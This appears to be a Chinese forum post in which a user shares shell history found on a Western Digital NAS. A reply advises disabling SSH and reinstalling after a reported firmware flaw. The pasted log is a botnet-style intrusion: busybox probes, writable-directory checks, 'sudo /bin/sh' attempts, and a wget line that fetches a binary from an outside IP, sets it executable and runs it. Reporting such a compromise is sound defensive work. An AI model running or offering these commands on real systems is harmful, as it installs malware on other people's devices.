在命令行历史中看到的，只装了Feature Pack Manager

/bin/busybox cp; /gweerwe323f
  mount ;/gweerwe323f
  echo -e '\x47\x72\x6f\x70/' > //.nippon;   cat //.nippon;   rm -f //.nippon
  echo -e '\x47\x72\x6f\x70/tmp' > /tmp/.nippon;   cat /tmp/.nippon;   rm -f /tmp/.nippon
  echo -e '\x47\x72\x6f\x70/var/tmp' > /var/tmp/.nippon;   cat /var/tmp/.nippon;   rm -f /var/tmp/.nippon
  echo -e '\x47\x72\x6f\x70/' > //.nippon;   cat //.nippon;   rm -f //.nippon
  echo -e '\x47\x72\x6f\x70/lib/init/rw' > /lib/init/rw/.nippon;   cat /lib/init/rw/.nippon;   rm -f /lib/init/rw/.nippon
  echo -e '\x47\x72\x6f\x70/proc' > /proc/.nippon;   cat /proc/.nippon;   rm -f /proc/.nippon
  echo -e '\x47\x72\x6f\x70/sys' > /sys/.nippon;   cat /sys/.nippon;   rm -f /sys/.nippon
  echo -e '\x47\x72\x6f\x70/dev' > /dev/.nippon;   cat /dev/.nippon;   rm -f /dev/.nippon
  echo -e '\x47\x72\x6f\x70/dev/shm' > /dev/shm/.nippon;   cat /dev/shm/.nippon;   rm -f /dev/shm/.nippon
  echo -e '\x47\x72\x6f\x70/dev/pts' > /dev/pts/.nippon;   cat /dev/pts/.nippon;   rm -f /dev/pts/.nippon
  echo -e '\x47\x72\x6f\x70/tmp' > /tmp/.nippon;   cat /tmp/.nippon;   rm -f /tmp/.nippon
  echo -e '\x47\x72\x6f\x70/var/log.hdd' > /var/log.hdd/.nippon;   cat /var/log.hdd/.nippon;   rm -f /var/log.hdd/.nippon
  echo -e '\x47\x72\x6f\x70/var/log' > /var/log/.nippon;   cat /var/log/.nippon;   rm -f /var/log/.nippon
  echo -e '\x47\x72\x6f\x70/DataVolume' > /DataVolume/.nippon;   cat /DataVolume/.nippon;   rm -f /DataVolume/.nippon
  echo -e '\x47\x72\x6f\x70/CacheVolume' > /CacheVolume/.nippon;   cat /CacheVolume/.nippon;   rm -f /CacheVolume/.nippon
  echo -e '\x47\x72\x6f\x70/shares' > /shares/.nippon;   cat /shares/.nippon;   rm -f /shares/.nippon
  echo -e '\x47\x72\x6f\x70/nfs' > /nfs/.nippon;   cat /nfs/.nippon;   rm -f /nfs/.nippon
  echo -e '\x47\x72\x6f\x70/sys/kernel/security' > /sys/kernel/security/.nippon;   cat /sys/kernel/security/.nippon;   rm -f /sys/kernel/security/.nippon
  echo -e '\x47\x72\x6f\x70/var/lib/nfs/rpc_pipefs' > /var/lib/nfs/rpc_pipefs/.nippon;   cat /var/lib/nfs/rpc_pipefs/.nippon;   rm -f /var/lib/nfs/rpc_pipefs/.nippon
  echo -e '\x47\x72\x6f\x70/proc/fs/nfsd' > /proc/fs/nfsd/.nippon;   cat /proc/fs/nfsd/.nippon;   rm -f /proc/fs/nfsd/.nippon
/gweerwe323f
cat /bin/echo ;/gweerwe323f
cd /;   wget http://195.22.127.83/bins/usb_bus.ppc -O - > usb_bus ;   chmod 777 usb_bus ; ./usb_bus ;/gweerwe323f
/gweerwe323f
sudo /bin/sh
/gweerwe323f
sudo /bin/sh
/bin/busybox cp; /gweerwe323f
  mount ;/gweerwe323f
  echo -e '\x47\x72\x6f\x70/' > //.nippon;   cat //.nippon;   rm -f //.nippon
  echo -e '\x47\x72\x6f\x70/tmp' > /tmp/.nippon;   cat /tmp/.nippon;   rm -f /tmp/.nippon
  echo -e '\x47\x72\x6f\x70/var/tmp' > /var/tmp/.nippon;   cat /var/tmp/.nippon;   rm -f /var/tmp/.nippon
  echo -e '\x47\x72\x6f\x70/' > //.nippon;   cat //.nippon;   rm -f //.nippon
  echo -e '\x47\x72\x6f\x70/lib/init/rw' > /lib/init/rw/.nippon;   cat /lib/init/rw/.nippon;   rm -f /lib/init/rw/.nippon
  echo -e '\x47\x72\x6f\x70/proc' > /proc/.nippon;   cat /proc/.nippon;   rm -f /proc/.nippon
  echo -e '\x47\x72\x6f\x70/sys' > /sys/.nippon;   cat /sys/.nippon;   rm -f /sys/.nippon
  echo -e '\x47\x72\x6f\x70/dev' > /dev/.nippon;   cat /dev/.nippon;   rm -f /dev/.nippon
  echo -e '\x47\x72\x6f\x70/dev/shm' > /dev/shm/.nippon;   cat /dev/shm/.nippon;   rm -f /dev/shm/.nippon
  echo -e '\x47\x72\x6f\x70/dev/pts' > /dev/pts/.nippon;   cat /dev/pts/.nippon;   rm -f /dev/pts/.nippon
  echo -e '\x47\x72\x6f\x70/tmp' > /tmp/.nippon;   cat /tmp/.nippon;   rm -f /tmp/.nippon
  echo -e '\x47\x72\x6f\x70/var/log.hdd' > /var/log.hdd/.nippon;   cat /var/log.hdd/.nippon;   rm -f /var/log.hdd/.nippon
  echo -e '\x47\x72\x6f\x70/var/log' > /var/log/.nippon;   cat /var/log/.nippon;   rm -f /var/log/.nippon
  echo -e '\x47\x72\x6f\x70/DataVolume' > /DataVolume/.nippon;   cat /DataVolume/.nippon;   rm -f /DataVolume/.nippon
  echo -e '\x47\x72\x6f\x70/CacheVolume' > /CacheVolume/.nippon;   cat /CacheVolume/.nippon;   rm -f /CacheVolume/.nippon
  echo -e '\x47\x72\x6f\x70/shares' > /shares/.nippon;   cat /shares/.nippon;   rm -f /shares/.nippon
  echo -e '\x47\x72\x6f\x70/nfs' > /nfs/.nippon;   cat /nfs/.nippon;   rm -f /nfs/.nippon
  echo -e '\x47\x72\x6f\x70/sys/kernel/security' > /sys/kernel/security/.nippon;   cat /sys/kernel/security/.nippon;   rm -f /sys/kernel/security/.nippon
  echo -e '\x47\x72\x6f\x70/var/lib/nfs/rpc_pipefs' > /var/lib/nfs/rpc_pipefs/.nippon;   cat /var/lib/nfs/rpc_pipefs/.nippon;   rm -f /var/lib/nfs/rpc_pipefs/.nippon
  echo -e '\x47\x72\x6f\x70/proc/fs/nfsd' > /proc/fs/nfsd/.nippon;   cat /proc/fs/nfsd/.nippon;   rm -f /proc/fs/nfsd/.nippon
/gweerwe323f

平时不用ssh 尽量关闭掉……WD的固件前端时间被爆了有漏洞，尝试论坛的重装3方式恢复系统看看